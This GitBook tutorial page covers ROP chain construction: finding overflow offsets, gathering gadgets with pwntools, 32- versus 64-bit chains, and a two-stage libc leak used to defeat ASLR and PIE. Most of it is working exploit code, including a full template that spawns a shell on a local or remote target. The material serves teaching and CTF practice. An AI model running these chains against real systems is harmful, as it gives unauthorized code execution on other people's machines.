> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/05.-return-oriented-programming/03.-chain-construction.md).

# ROP 03 — Chain Construction

> Finding offsets, building payloads, handling 32 vs 64-bit, and defeating ASLR + PIE.

## The Build Loop

```
1. Find overflow offset        (cyclic / GDB)
2. Confirm RIP control         (pattern overwrite → observe crash)
3. Gather binary info          (checksec, file, readelf)
4. Identify gadgets            (ROPgadget, ropper, pwntools ROP)
5. Handle address leaks        (if ASLR / PIE — stage 1 exploit)
6. Build chain                 (pwntools payload assembly)
7. Test locally in GDB         (verify gadget execution)
8. Send to target              (local process or remote)
```

## Step 1: Find the Overflow Offset

### Method A — De Bruijn Cyclic Pattern (pwntools)

```python
from pwn import *

io = process('./target')
io.sendline(cyclic(300))   # send pattern longer than any possible offset
io.wait()                  # let it crash

# Read core dump or examine crash
core = io.corefile

# 32-bit: RSP contains the bad return address
offset = cyclic_find(core.read(core.rsp, 4))

# 64-bit: RSP points past return address after ret
offset = cyclic_find(core.read(core.rsp, 8), n=8)

print(f"[+] Offset: {offset}")
```

### Method B — GDB / pwndbg manually

```bash
gdb ./target
(gdb) run
# When asked for input:
#   python3 -c "import sys; sys.stdout.buffer.write(b'A'*100)"
# or use pwndbg cyclic:
(gdb) cyclic 200
# Paste output as input, then:
(gdb) cyclic -l $rsp          # pwndbg: find offset from RSP value
```

### Method C — Manual calculation

```c
// For a simple stack frame:
// offset = sizeof(buffer) + sizeof(saved_rbp)
// e.g., char buf[64] → offset = 64 + 8 = 72  (64-bit)
// e.g., char buf[64] → offset = 64 + 4 = 68  (32-bit)
```

### Verify control

```python
from pwn import *

io = process('./target')
io.sendline(b'A' * offset + b'B' * 8)  # should see RIP = 0x4242424242424242
io.wait()
core = io.corefile
print(hex(core.rip))   # should print 0x4242424242424242
```

***

## Step 2: Gather Binary Information

```bash
# Full protection summary
checksec ./target
# or:
python3 -c "from pwn import *; print(ELF('./target').checksec())"

# Architecture
file ./target

# Symbols available?
nm ./target
nm -D ./target     # dynamic symbols (PLT/GOT entries)

# Is the binary stripped?
readelf -s ./target | grep FUNC

# What libc version?
ldd ./target
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C"
```

***

## Step 3: Build the Chain

### Basic structure (64-bit, no ASLR, no PIE)

```python
from pwn import *

elf  = ELF('./target')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop  = ROP(elf)

OFFSET = 72

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret     = rop.find_gadget(['ret'])[0]   # stack alignment gadget

payload  = b'A' * OFFSET
payload += p64(ret)           # ← IMPORTANT: align RSP to 16 bytes for system()
payload += p64(pop_rdi)       # set rdi = "/bin/sh"
payload += p64(bin_sh_addr)
payload += p64(system_addr)

io = process('./target')
io.sendline(payload)
io.interactive()
```

### Stack alignment — why it matters

`system()` uses SSE instructions (`movaps`) which require RSP to be 16-byte aligned. If RSP % 16 != 0 when entering `system()`, you get a SIGSEGV *inside* libc — not at your gadget.

```
Without alignment fix:     With alignment fix:
RSP = 0x7fff...f8          RSP = 0x7fff...f8
  → call system()            → ret (bare)         ← add one bare ret
  → movaps crash!            RSP = 0x7fff...00    ← now 16-byte aligned
                             → call system()
                             → works!
```

Rule: count your gadgets. If the chain has an odd number of 8-byte pushes before `system()`, add a bare `ret` gadget.

***

## Step 4: Test in GDB

```bash
gdb ./target
(gdb) break *vuln+50        # break just before ret
(gdb) run < <(python3 exploit.py)

# At breakpoint:
(gdb) x/20gx $rsp           # examine stack — should see your gadget addresses
(gdb) info registers        # check all register values
(gdb) si                    # step one instruction (follow ret)
(gdb) x/5i $rip             # disassemble 5 instructions at current RIP
```

```bash
# pwndbg extras:
(gdb) rop --grep "pop rdi"   # find gadgets live
(gdb) vmmap                  # view memory regions + permissions
(gdb) got                    # show GOT entries
(gdb) plt                    # show PLT entries
```

***

## 32-bit vs 64-bit ROP

### The calling convention difference

|                             | 32-bit (x86)                           | 64-bit (x86-64)                           |
| --------------------------- | -------------------------------------- | ----------------------------------------- |
| **Args location**           | Pushed on stack before call            | Registers: rdi, rsi, rdx, rcx, r8, r9     |
| **Gadgets needed for args** | None (args are ON the stack naturally) | Need `pop rdi ; ret` etc. per arg         |
| **Address width**           | 4 bytes (`p32()`)                      | 8 bytes (`p64()`)                         |
| **Bad byte issue**          | Less common                            | Top 2 bytes of 64-bit addr are often null |
| **ASLR entropy**            | \~8–16 bits → brute-forceable          | \~28 bits → not brute-forceable           |

### 32-bit payload shape

```python
# 32-bit: push args on stack AFTER the return address
# system("arg1") call convention:
#   [ret_addr_of_system] [return_addr_for_system] [arg1_ptr]

payload  = b'A' * offset         # fill buffer + saved ebp
payload += p32(system_addr)       # return here
payload += p32(exit_addr)         # "return address" for system() — any valid addr
payload += p32(bin_sh_addr)       # arg1: pointer to "/bin/sh"
```

### 64-bit payload shape

```python
# 64-bit: must set rdi BEFORE calling system()
payload  = b'A' * offset
payload += p64(pop_rdi)           # gadget to set rdi
payload += p64(bin_sh_addr)       # value for rdi
payload += p64(ret)               # alignment
payload += p64(system_addr)       # call system(rdi)
```

### 32-bit execve chain

```python
# int execve(const char *path, char *const argv[], char *const envp[])
# args: ebx=path, ecx=argv, edx=envp — all pushed on stack in reverse

payload  = b'A' * offset
payload += p32(pop_eax) + p32(11)        # eax = SYS_execve = 11
payload += p32(pop_ebx) + p32(bin_sh)   # ebx = "/bin/sh"
payload += p32(pop_ecx) + p32(0)         # ecx = NULL (argv)
payload += p32(pop_edx) + p32(0)         # edx = NULL (envp)
payload += p32(int_0x80)                  # syscall
```

***

## ASLR + PIE Bypass Strategy

When ASLR and PIE are both enabled, **every** address is randomized. No hardcoded addresses work. The universal solution is a **two-stage exploit**:

```
Stage 1: Information Leak
  ├─ Trigger vulnerability once
  ├─ Leak a runtime address (binary, libc, or stack)
  ├─ Calculate base addresses from known offsets
  └─ Loop back to vulnerable function

Stage 2: Shell
  ├─ Trigger vulnerability again
  ├─ Build ROP chain using real (calculated) addresses
  └─ Get shell
```

### Stage 1: Leak via puts/printf

```python
from pwn import *

elf  = ELF('./target')     # PIE binary
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop  = ROP(elf)

OFFSET = 72

# These are OFFSETS (not addresses) when PIE is enabled
pop_rdi_off = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_off     = rop.find_gadget(['ret'])[0]

# ── Need binary base first if PIE is on ─────────────────────────────────────
# Option A: Partial overwrite (1-2 bytes) to leak code pointer — architecture-specific
# Option B: Stack leak first — if binary prints stack values somewhere
# Option C: The binary itself prints an address (common in CTF challenges)
# Assume we got binary_base somehow:

elf.address = binary_base   # pwntools rebases ALL symbols + gadgets

pop_rdi = elf.address + pop_rdi_off    # now absolute
ret     = elf.address + ret_off

# ── Stage 1: leak libc by calling puts(GOT['puts']) ─────────────────────────
stage1  = b'A' * OFFSET
stage1 += p64(pop_rdi)
stage1 += p64(elf.got['puts'])        # address of GOT entry (absolute now)
stage1 += p64(elf.plt['puts'])        # call puts → prints 8 bytes of GOT
stage1 += p64(elf.symbols['main'])    # return to main for stage 2

io = process('./target')
io.sendline(stage1)
io.recvline()   # discard any prompt

leaked_puts = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leaked_puts - libc.symbols['puts']

log.success(f"libc base : {hex(libc.address)}")
log.success(f"system()  : {hex(libc.symbols['system'])}")
```

### Stage 2: Shell with known addresses

```python
# libc.address is now set → all symbols rebased
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))

stage2  = b'A' * OFFSET
stage2 += p64(ret)              # alignment
stage2 += p64(pop_rdi)
stage2 += p64(bin_sh)
stage2 += p64(system)

io.sendline(stage2)
io.interactive()
```

### Partial overwrite (no full leak needed, sometimes)

When only the low bytes of a return address need changing, and PIE randomizes only bits 12+ (the page offset 0x000–0xfff is fixed):

```python
# Only overwrite 1-2 bytes of return address
# Risk: only works if you can guess/brute the nibble (1-in-16 or 1-in-256)

partial  = b'A' * offset
partial += b'\x34\x12'   # overwrite low 2 bytes only — no null needed
io.send(partial)
```

***

## Payload Assembly Template

```python
#!/usr/bin/env python3
"""
ROP chain template — adapt for each target.
"""
from pwn import *

# ── Setup ─────────────────────────────────────────────────────────────────────
binary = './target'
elf    = context.binary = ELF(binary)
libc   = elf.libc or ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.log_level = 'info'

def start():
    if args.REMOTE:
        return remote('target.host', 1337)
    if args.GDB:
        return gdb.debug(binary, gdbscript='b *vuln+50\ncontinue')
    return process(binary)

# ── Gadgets ───────────────────────────────────────────────────────────────────
rop      = ROP(elf)
OFFSET   = 72  # TODO: find with cyclic

pop_rdi  = rop.find_gadget(['pop rdi',  'ret'])[0]
pop_rsi  = rop.find_gadget(['pop rsi',  'ret'])[0]  # may be pop rsi ; pop r15
ret      = rop.find_gadget(['ret'])[0]

# ── Stage 1: Leak ─────────────────────────────────────────────────────────────
io = start()

stage1  = b'A' * OFFSET
stage1 += p64(pop_rdi)  + p64(elf.got['puts'])
stage1 += p64(elf.plt['puts'])
stage1 += p64(elf.symbols['main'])

io.sendlineafter(b'> ', stage1)
leak     = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f'libc @ {hex(libc.address)}')

# ── Stage 2: Shell ────────────────────────────────────────────────────────────
system  = libc.symbols['system']
bin_sh  = next(libc.search(b'/bin/sh'))

stage2  = b'A' * OFFSET
stage2 += p64(ret)
stage2 += p64(pop_rdi)  + p64(bin_sh)
stage2 += p64(system)

io.sendlineafter(b'> ', stage2)
io.interactive()
```

## Common Mistakes & Fixes

| Symptom                                   | Likely Cause                                | Fix                                                                         |
| ----------------------------------------- | ------------------------------------------- | --------------------------------------------------------------------------- |
| SIGSEGV inside `movaps`                   | RSP not 16-byte aligned                     | Add bare `ret` gadget before `system()`                                     |
| RIP = 0x0 or garbage after chain          | Address has null bytes that truncated input | Find gadget with no null bytes in addr, or use `read()` instead of `gets()` |
| SIGILL at first gadget                    | Gadget address is wrong                     | Verify with `x/3i 0xaddress` in GDB                                         |
| Crash at `puts()` leak                    | Not receiving full 8 bytes                  | Use `.ljust(8, b'\x00')` when unpacking                                     |
| Stage 2 fails even with correct addresses | libc base miscalculated                     | Print `hex(leak)`, compare with `vmmap` in GDB                              |
| Shell spawns but dies                     | stdin/stdout not properly connected         | Use `io.interactive()` correctly; check FD redirections                     |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/05.-return-oriented-programming/03.-chain-construction.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
